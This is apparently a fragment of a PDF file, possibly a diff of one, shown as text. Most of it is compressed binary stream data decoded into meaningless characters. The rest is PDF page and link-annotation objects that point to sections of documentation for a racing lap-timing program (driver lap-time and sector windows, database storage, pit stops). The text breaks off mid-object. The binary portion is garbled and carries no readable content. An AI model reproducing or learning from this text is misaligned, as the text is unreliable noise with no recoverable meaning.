z΄S=g©2/z΄S=g©3Tϙp˩3TϙpL8s&)rL8s&9N zƼ9N z΄S=g©2/z΄S=g©3Tϙp˩3TϙpL8s&)rL8s&9N zpL8s&9N zʼ9N z΄S=g©2/z΄S=g©3Tϙp˩3TϙpL8s&)rL8s&9N zʼ9N z΄S=cN z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL83TϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=cN z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL8STϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL83TϙpL8s&9Ny9s&9N z΄S=e^N z΄S=g©3TOS=g©3TϙpL8STϘ}ǩ?̩>۹:Nu.}~ޭ׏.x/gz|x~_g{>>~ϵ)V K"g~nE#944bvnMRsh3M>BҚ +3Y +(梘U06W-.6EUZ\4JZ(ʹ"gsVi=h,bZRXIsn(fh,bNeSbܺ3yؾAbJnXtŬzX ŬEc1ݜQclŬ.ݔݜQ:b׹u7gnݜQ[e*_? 9ĴsnHoyn͙%fJcWSi)[1k|+f}O[1rnŬi,nl+V̭[wsF1~n5k4 `  頷lMͽ06᷾ϭ9G;bO&|--tzn<ǹu7gV&>9}L1KR Nc!lw9b{-4vsn(}[wSF:}N1Kg#%gkX4ߔTϭ9ŌsnH%n͙K=1ybjU5ZUUOWmu-Wm^ 㢘(TڄeCz&? 9Tڄ/`Pj^ Lc!㾩^ Qj~Pjz+ի6Uի6ϭ9TkRj~ +UTڄuQj~Pj~WIMFMC lWmsPj*IM|6drfݔr_TڄPjRjPrPjJNMV=9ۜTڄ#OWm^ yQjPPjRjXHǸ;ի6pPzU.h,z&|%Źu7g*WmU^ 0bgz&qAMcsnHt}oWm,^ ^P]yݕU^ ~nŬҘU%U NM>Kz&-M?A5MY:8z&&v.ի1^mAƢzJ ^U .jN%!ի Dt1WtpbzU\נzKcέ9Ub6vJ6_A5]:8 L1KXHqU2@c!\WUbvr,Z\bji]:ZiZ.\u1_zHUij.} QΗ_@j.TvRڥK+ի]:FU,_ApU*1W5ۿ_H51~)fR@TvZW׺+j}&fjڷK$k7#mHJg17v*rjI45^~9IJbL_>u=KjtՉ/r#̟tiU(f _~Ij`,_ҥLKIK#8/r1b:put]:~q^5qutIKV]bK4S^~I׺qu%]wtW_ҥh^~IݝbKvtMA:ܔ}-_nʶbvSvi:ܔ]&y^\M^nBX%0q^N)u^MZR:I +Ipu,_n֗=ի/' W_NLIᗓܠzu$ZQ:rW 96 y9I֍/'R:y1N^:yU)fD闓Qj YTڄ~Wm¿6_݌V*ڄ_MWٸ:OSvyӔ}7Wm¿d3nj~q&|jiΥf4TڄWm׷ڄ6_Mj5m#%ƍZ~QnF[Wm¿֍6kDq&jDjIB݈GMJw_ W jzLc¿vz%T~zLZRzL1׎DŽ_ i 1~븿zLm1 W 7_=&>qM1ЦzcŸW _=&y7W Acw6E;1_17_:F~݃ͅ?̂m OX߮s #;~ߛԯyoG>˷Oy}~7 U}xx2E!%fot%GeORdwɯ*U9o_"y<&G{ך"noMĜ-590=FG~iɑ3G޽{+27d{U3޾ dּ#Y-븂;w hGwp9x7nEqP1^uܹc@k=ҸsǀzqHs:1`91qy=ZƝ;#;w hGw9ǥ;w sǀzqH~#2~sǀzqHޕEGqHuܹc@k=Ҹsqw"414141…41 %;w H0H~2hʹc`/\ǹakƝ;H㚏#k>{Aw#k>Z4Ok=Ҹc<62qVZ4Z}ظ;w hב{ ZƝ;#;w hGwZ41P&~ 81~rqc`:1iܹc@k=Ҹsǀjq-HZ7JҸsǀc^1p:suܹc@k=Ҹsǀzq玁VqwZ41Q';w s@1pcu玁sǀF41Q';w hIuҸs@︎;w 8Дsǀi玁7>w l\ǝ;ƅsǀzqcZ41iܹc` \}1pcuUt:1~Jdsǀzq62Ǟq;>w ܸ1qwZ41 +:1iܹc./Дq;&>w ,\}qc`:1p_;w hGwZ41p7\ǝ;#10qc`:sq玁}:1;9uܹc@k=Ҹsǀzq;>w L\}X1p:su(>wd-ep;?Ҹq;>w L\}X1p:suܹc\;w hGw=pcWҸq;&>w ,\}qc`:1#7\}Z>w L\}X1p:suܹc@k=Ҹs@+;w hGc:s@u玁q;cu玁sǀfiܹc@34s@u玁q;>w L\}X1p:suܹc@;iܹc@2i玁 q;:>w \}1pcu玁ޠi玁q;>w t\}10qc`:7i܏;p\cq?u܏;nҸw :q~1w N\cq?u܏;pq__寧s ~vun1x]TP]3}97Okӏ~4:M}_tA_C%>S^Qo:Cb0~RҪ  Iu@_X)phpZqwhXŜ.d`~ F! d-9ŴZ)☫C1k `4 ; x~Kh-0Z/ %va]~#0McZMcsU<8f/`q̗bH}P}W}xJrP3 +%x1^[p̚b|c֌1ٗ.ZuhLkS-|byP_$1y:s+1ׂyy9fQ̾C60bj9N6S-|zy*Zbގ_cnΛ1Oc.vׅy*1vbT__^SV`R9S{Hcno7(Okq̚sqEyZt F1kCyZZQRVV:5 +i6wUИZ[۔:V`oߡ#l~wAM1S 4MhS 4:Dy +m}]`Ccj*iiLu S:XDZcV|~uցyj֐| S렖e=`Y:X<10OE3:Xq̵cZK阧ruSॢ:x:x؂1uۀosB}{/w.9M߽Vg֎?gOYj?Hh?ȐWADADADADAr&r&r&r&R~3~3~3~3~2yLLLL̫ g g g g e^9999)j?șh?șh?șh?șh?HWADADADADAʼr&r&r&r&R~3~3~3~3~1yLLLL̫ g g g g e^9999)j?șh?șh?șh?șh?HWADADADADAʼr&r&r&r&R~3~3~3~3~2yLLLLd̻ g g g g e^9999)j?șh?șh?șh?șh?HWADADADADAʼr&r&r&r&R~3~3~3~3~2yLLLL̫ g g g g e^9999n?șh?șh?șh?șh?HWADADADADAʼr&r&r&r&R~3~3~3~3~2yLLLL̫ g g g g e^9999)j?șh?șh?șh?șh?HWADADADADAƼr&r&r&r&R~3~3~3~3~2yLLLL̫ g g g g e^9999)j?șh?șh?șh?șh?HWADADADADAʼr&r&r&r&R~3~3ow$9vd _HK%>ڪ=sbY$=;v`8?`8?`6Ќ68?`8?`6Ќ68?`8?`6Ќ68?`8?`6Ќ68?`8?`6Ќ68?`8?`6Ќ68?`8?`6Ќ68?`zeAx"?Wtbп~|]q(Mxݫҧ^ךH\["uW&| ΦNܮ3:s~Mrms>{ |h->FS\MsrZ\Ms9_{d;>14[u/97>^ihߵZMa}FS\/pW4}εD|\/9wULsوιߴDS\o~ιD9&M\9;> \}WZ^+kKQ̯j+l#/S[djֶVK}VzX|孾Rޮ's9״2VzyiEz[֔Z_LlkZj;P#d]W۷2.0>b$s~oi{zMsw9:X-q /miCٷƭ=ƭk5n]k[[2}ָδƭkOkZ?-L?jLs}GW-e=q|i[>Hkz9~ >HkZ`-;GZZ5nui[k;ָGZjSs>ƭgn{smu6x[4uεKk`m:X{ƭ{./qkpkKk`m:X;ƭV/qk׋k\Kk}`:X{mgmWm^/q[q[Kk`:X{m^/q[Kku}u}`:X{m^/q[Kkq[Kk`:X{m^/q[+^kָ!MsmB:Xo:Xo:Xo\:xq:X FZ^.q[0q[u5nuױCWZ:v{iءָ;q;,Kk\_w4}guPsu^/q;,Kk\=:5c~JZ:vhu^/q;,Kk\!:vױ>cziء.ոaZZ:v{uPaYaYϸء^T>c/ױòqױp2u+:vXjָjq;w=q;,]Ok\KH543q;,Kk\K}ױRuP/qױRuлuPa^Z:vX @u^/q;jى5?D{uP3q;,q;,Kk\KױC5czia^\z^Z:v{u=MqKױR{uPoD>c>czia^Z:vXgiuziءvqױC]qױR{u^/q;ԛء/a5cziءf}\KױC>c}}\KM4}️a^Z:vX%:v蟉Kk\6<:vXjָjq;w=:vX3:vXjָ5c~\QZ:vxh2{WuP[UoױC>cWPXS:vxbָ^Gq;qiMuO ιzquU{u^Z:v~uPWFu^Z:vGL5cK9Ku^Z:v?渏U{uMq;tָ^Kk\ڒ0);jָ^Kk\u}\n^Z:v~uPWFu^Z:vx^/q;ԋsu+#q;9וָ^ue5cWױCױC_iUWFZ:vxC*️ءUoױëސ5czY^q;?:v+#:vx^/q;jָ^Kk\F":vx^/q;j׸^kָ^5q;/GZ:vxŘָ^hk۔LKk\f,ءzi{bk'v^Z>jָ'v^Zءzi{bhz^Zءzi^q;q;lq;q25;ezo;گ;#z3}9N[}?~1##,s33~_3?gq ㉽9Ƙ\o痘_SW_G_~u׾])8@☂Ȉ)8@c +$)c +$)8@☂Ȍ)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`㘂̌)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`㘂̌)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8@3b +6 {͘c +6)ЌMq3`㘂c +23`*`㘂c +6)Ќͪc +6)8@3b +6b +6)8`͈)ج)8`㘂c +4#`*`㘂c +6)Ќͪc +6)8@3b +6b +6)8`͈)ج)8`㘂c +4#`*`㘂c +6)Ќͪc +6)8 3c +6b +6)8`͈)ج)8`㘂c +4#`*`㘂c +6)Ќͪc +6)8@3b +6b +6)8`͈)ج)8`㘂c +4#`*`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`㘂̌)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`㘂̌)8`㘂c +6)Ќc +6)8`͈)8`㘂c +6)Ќc +6)8`͈)nv_S}ZW)_Y4|9Tv(Vtǯ}[~zimM_=<2*}"M q4M q4GHMGHM q4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4Mq4GlMGlMq4fDlq3`h 4#`|}܌&8`ȟ&ج&8`h 4#`*`h 6&Ќhͪh 6&8@3 6 6&8`h͈&ج&8`h 4#`*`h 6&Ќhͪh 6&8@3 6 6&8`h͈&ج&8`h 4#`*`h 6&hͪh 6&8@3 6 6&8`h͈&ج&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8 3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8 3 6&8`h 4#`h 6&8@3 6&8`h 4#`h 6&8@3 2q"cEr_{F1rמq}L>%"sĕϷeFk|ye|U2~(&"8`(&"(@(&"(`(Ɉ"Q`E(`E("E(`("E(FQD0"8FQD0"Q6"Q`E(`E("E(`("E(FQD0"8FQD0"Q6"Q`E(`E("E(@3`E("E(`("E(FQD0"8FQD0"Q6"Q`E(`E("E(`("E(FQD0"8FQD0"Q6"Q`E(`E("E(`("E(FQD0"Ќ("E(FQD0"8FQD0"Q6"Q`E(`E("E(`("E(FQD0"8FQD0"Q6"Q`E(`E("ElE("E(FQG(FQD0"QfD(FQD0"QQD0"Q`Eq`E("ElE("E(FQG(FQD0"QQD0"Q`Eq`E("ElE("E(FQG(FQD0"QQD0"Q`EQD0"Q`Eq`E("ElE("E(FQG(FQD0"QQD0"Q`Eq`E("ElE("E(FQG(FQD0"QQD0"Q`Eq`E("EhF`E("ElE("E(FQG(FQD0"QQD0"Q`Eq`E("ElE("E(FQG(FQD0"QQD0"Q`Eq`E("ElE("E(FQE("E(FQG(FQD0"QQD0"Q`Eq`E("ElEEx"UQzd(ǞQDoQc=$>:ng0?co/[c?K_bz/ϣ%k߮DHK q,AdHK q,ıDF,ıHK q,AdlKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,AflKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,AflKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKq,flKq,ƱhF,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKlKq,ƱKq,ƱlKИ_Xb/b_%~uK6_LС6b#?&?ώ&j| -=~N8c$QooӗH_I/ϣjk߮@GHI q$AdDHI q$đGDF$đGHI q$AdFlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$AfFlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$AfFlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIq$fDlIq$ƑGhF$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIGlIq$ƑIq$ƑGlIx?I1"Zjs$~uI~~Op8"R^?>/ >̯k߮*H> q@dH> qDFH> q@dl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>q@fl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>q@fl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>l>q>ql>=_#D/ a;Cï=ÇÇ/z7\?_D]|=_rZcw E/Uz_(㽷p+:ݻ3:Y&׏uYkE .r$WY/LLNmt~(u2Y2L:ݵ0R[t:]%:ՂƤNw}f8J7^pn6juL^+_jGZku9jS|S|GjܯlkzA؏tZ]8uWL%SkIιt$]#89纤k=_ZuLǩu:x,LjGҵZQo6x:zӑvlvVdUZ9]4'S缽tuqkW^U{OR{2{׫!kluzp>G>^wve=]ct?68uW9ι^85V`}tduIIZw=l)ZzԟpԾJ{xeXWksx:}=^`35V?Zz${׻2:v=^U6}}_>I\97ι^y}嶼tdg-0:v粒d2۞<~@]:N?uoijYNI~z>?Ȱ +9nkM{أVo5v3 WOr3jMI~۾-i{3sIt%'9n&O~[m5v3MOrϳ>t +]cLJInǙtL~{n3ݮ#'9nt~۽gJL}c??_-^cߊt膿b\s8I놿DOrtÿnt=gG7??9GKOrt_tgF-'9Ae?W0,ϳlY,+'9g,ggG?gG?wvZg>ϲYg~Uߍp,$<#~lYϲ̅k|=X}es_n6.Wƺ٨wtx~V?ftuaVϧᯗtgl,8^c.-} ;'9O߫w2ݖt~2AOFiR5bYHI٨W#'fc68OkJIX%<'fc^n6ꂏw\ךtJLj7-~ҏ}~$lJJI3'fcXӵ۝llKi6-~4Nll<ƾfc?gOѷ`54kOIf^6}٨7i4#]cOQ TO4B#};:%v (߿oWc$8v 2b$8v@c"#v@c$8v 2c68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v 3c68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v 3c68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c68v@3b68v`؁c4#v`؁c6Ќ؁c68v`͈8v`؁c6؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6؁c68v`͈8v`؁c6Ќ؁c68v`͈8v`؁c6Ќ؁1"vcշ,s1vձ?cgvCm[i<3vR~f1a|_/ϣ_v)r`ȁ"$(r`ȁ"&8r`ȁ"&(r@2"`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC0Ќ!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"4#rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFG(rFC0QƑC0Q"`9C0Q"`9_Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9͈Q"`9ȁMG"`9!El9!E(rFG(rFC0QƑC0Q"`9q"`9!El9!E(rFG(rFC0QƑC0Q"`9q"`9!EhF"`9!El^Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9ȁ#`9!E(r`!E(rFC08rFC0Q"6Q"`9͈Q"`9ȁKC0Q"`9q"`9!El9!E(rFGh~L*rx_z[#k/94D_DO?Tć>Է&_>l q@dH> qDfl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qdfl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qdfl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>q>ql>l>q>ql>On~l>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qdfl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qdfl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qhFl>qfl>qdfl>qfl>qhFl>qfl>qhF@w}gÇ 6ǝrُ#N^F:Y]@t{KR[DR[[^n GcMGmtQuӱ{}Skeǩs>`^uJV7k.cfǩswwIaI\[mqr^UgjM{S>]c^&;'?2+'}gqZ~9LjW8uN{ؽzg|k~;]^NIZN{ٮkFO:x+'}x:9+oOޖבe?}\GW?/̶${?`|{[ķZ}kO3R8G?m{i{3vƎ~[JI~[->|۷%a~~.;o$G?|SƎ~[OIy;'9ox~}kx^><8}oo5эm}uSt丞g +~ytgwxug\><릟pL???Y7??Y7gKI7R}n:MIXwi:t>mv$Oӱm?Mk}$O:>tx^K>]cOӱ^gO4?m?MG54}$Oӱ؏Yt-p=M}騗ti:f>MGHt\t UO4?efJõ4};Wؗt}|OCx^z]6Y?Mi:oWǯe79evoxr^>fUtqL4sJ?]~s?|y_G__ hCmD-h϶`L4ۂf[0l $mD-hͶ`Hl`4"ͶF-l 6mf[hE0mƳ-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[l<"ͶF-l`4ۂg[hE0mf[l`4"ͶF-l 6mf[hE0mf̶F-l`4"Ͷ`hE0mf[l<"ͶF-l`4ۂg[hE0mf[l`4"ͶF-l 6mf[hE0mƳ-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[hl`4"ͶF-l 6mf[hE0mƳ-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[l<"ͶF-l`4ۂg[hE0mƳ-l`4"ͶF-xE0mf[h1"ͶF-l`4ۂg[hE0mf[Y5"ͶF-l`4ۂg[hE0mf[l`4"ͶF-l 6mf[hE0mƳ-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[hl`4"ͶF-l 6mf[hE0mfl`4"ͶF-l 6mf[hE0mƳ-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[l<"ͶF-l`4ۂg[hE0mf[-l`4"ͶF-xE0mf[hU-l`4"ͶF-xE0mf[h϶F-l`4"Ͷ`hE0mf[l<"ͶF-l`4ۂg[hE0mf[l`4"ͶF-l 6mf[hE0mf̶F-l`4"Ͷ`hE0mf[lVͶF-l`4"Ͷ`hE0mf[l<x'f[1:. Ə?;I-:Ϲ3/Lϙϯkmqۏ-K$/$zyH# $$H# $$8@HȈ$8@H# $$H# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$H# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$H# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 6$ЌH# 6$8`H͈$8`H# 4#`H# 6$8@3" 6$8`H# 23`H# 6$8@3" 6$8`H# 4# 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8 3# 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8 3# 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8 3# 6$8`H# 4#`H# 6$8@3" 6$8`H# 4#`H# 6$8@3" 2 $eD-'"ID Hq>'F<08CQKOmP[%𗿄1<2J}F F qAdHF qRaF qaKaDfal.lFalFFqflFqRaFqaKahFal.lFalFFqflFqRaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqalFalFqaFqahFalFqflFqadfalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqadfalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqadfalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqahFalFqflFqadfalFqflFqahFalFqflFqahFAws4RO0|>aGaįFP"!% HHEB(rF:R$"!HH1EB)RNzT$"!% HHQE@*RVV$"  HHqEB+R^X$"!% `4"TY$"!u )ȥEBJ-RkbT["! )HHEBJ.rsT]$"!u9HHEBJ/R{⋀\_$"! )HHF@N0R"Ta$ # w )HH%FBJ1RcTc$#! )EFBJ2RTe0YFB2Rʌf6#! HHyFB3r +h$F#!EHHFB4RJj$V#! HHF@5Rl$f# G HHFB6Rˍn$v#!HHFB7R +p$#!E HHq$#! )HH-G@9R͑rs$#  )HHMGB:Ru$#! )mGB;Rݑw#! )HHGB<r呐2y$#!9HHGB=R푐r{$#! )HHG@>R}$(?Rڏ$#  HHHB*@R$ +$!e  !HB*AR +Z$! IHAHB*Br$*$!e! IHaHB*CRڐ$:$!! IHH@.DR"$J$ g" IHHB*ER*h" )IHHBER/T$d$!5# ) HBFR7‘Tt$!# )IHHBGr?T$$!5$9"IHIBHRGB\$$!$ )&IH5I@IROT$$ 7% )*IHUIBJRWÒT$$!% ).a4ꒄ$$!& 0 ȉIBjLRd*$!& 4IHIBjMrlj$$!'8a '?Yrr&'b/yfqcyp|&31]ڗr1HQ|]|GX^Ao][/o[m~]vu {?>>wпgߣI)"?g(9~ gaK|-ueW2f-?N{?ljޣlj՟U;扽?OP=}Nmy:_ȸ +endstream endobj 158 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 53.466457 517.483622 557.809134 499.373622 ] -/BS << -/W 0 ->> -/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 157 0 R +/Resources 4 0 R +/Annots [ 159 0 R 160 0 R 161 0 R 162 0 R 163 0 R 164 0 R 165 0 R 166 0 R 167 0 R 168 0 R 169 0 R 170 0 R 171 0 R 172 0 R 173 0 R 174 0 R 175 0 R 176 0 R 177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R 187 0 R 188 0 R 189 0 R 190 0 R 191 0 R 192 0 R 193 0 R 194 0 R 195 0 R 196 0 R 197 0 R 198 0 R 199 0 R 200 0 R 201 0 R 202 0 R 203 0 R 204 0 R 205 0 R 206 0 R 207 0 R 208 0 R 209 0 R 210 0 R 211 0 R 212 0 R 213 0 R 214 0 R 215 0 R 216 0 R 217 0 R 218 0 R 219 0 R 220 0 R 221 0 R 222 0 R 223 0 R 224 0 R 225 0 R 226 0 R 227 0 R 228 0 R 229 0 R 230 0 R 231 0 R 232 0 R 233 0 R 234 0 R 235 0 R 236 0 R 237 0 R 238 0 R 239 0 R 240 0 R 241 0 R 242 0 R 243 0 R 244 0 R 245 0 R 246 0 R 247 0 R 248 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 159 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 512.923622 72.731593 500.123622 ] +/Rect [ 63.386457 771.023622 555.889134 750.353622 ] /BS << /W 0 >> -/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) +/Dest (.:stockage-des-donnees) >> endobj 160 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 512.923622 557.809134 500.123622 ] +/Rect [ 63.386457 765.503622 93.647199 751.103622 ] /BS << /W 0 >> -/Dest (Code/DriverLapTimeWindow/:driverlaptimewindowcs) +/Dest (.:stockage-des-donnees) >> endobj 161 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 499.373622 557.809134 481.263622 ] +/Rect [ 544.436985 765.503622 555.889134 751.103622 ] /BS << /W 0 >> -/Dest (Code/DriverSectorWindow/:driversectorwindowcs) +/Dest (.:stockage-des-donnees) >> endobj 162 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 494.813622 72.731593 482.013622 ] +/Rect [ 71.386457 750.353622 555.889134 729.683622 ] /BS << /W 0 >> -/Dest (Code/DriverSectorWindow/:driversectorwindowcs) +/Dest (.:base-de-donnee) >> endobj 163 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 494.813622 557.809134 482.013622 ] +/Rect [ 544.436985 744.833622 555.889134 730.433622 ] /BS << /W 0 >> -/Dest (Code/DriverSectorWindow/:driversectorwindowcs) +/Dest (.:base-de-donnee) >> endobj 164 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 481.263622 557.809134 463.153622 ] +/Rect [ 71.386457 729.683622 555.889134 709.013622 ] /BS << /W 0 >> -/Dest (Code/Form1/:form1cs) +/Dest (.:quand-remplir-la-base) >> endobj 165 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 476.703622 77.821193 463.903622 ] +/Rect [ 544.436985 724.163622 555.889134 709.763622 ] /BS << /W 0 >> -/Dest (Code/Form1/:form1cs) +/Dest (.:quand-remplir-la-base) >> endobj 166 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 476.703622 557.809134 463.903622 ] +/Rect [ 79.386457 709.013622 555.889134 688.343622 ] /BS << /W 0 >> -/Dest (Code/Form1/:form1cs) +/Dest (.:quand-un-pilote-a-finit-un-tour) >> endobj 167 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 463.153622 557.809134 445.043622 ] +/Rect [ 544.436985 703.493622 555.889134 689.093622 ] /BS << /W 0 >> -/Dest (Code/Reader/:readercs) +/Dest (.:quand-un-pilote-a-finit-un-tour) >> endobj 168 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 458.593622 77.821193 445.793622 ] +/Rect [ 79.386457 688.343622 555.889134 667.673622 ] /BS << /W 0 >> -/Dest (Code/Reader/:readercs) +/Dest (.:quand-un-pilote-a-fait-un-arret-aux-stands) >> endobj 169 0 obj << /Type /Annot /Subtype /Link -/Rect [ 542.540335 458.593622 557.809134 445.793622 ] +/Rect [ 544.436985 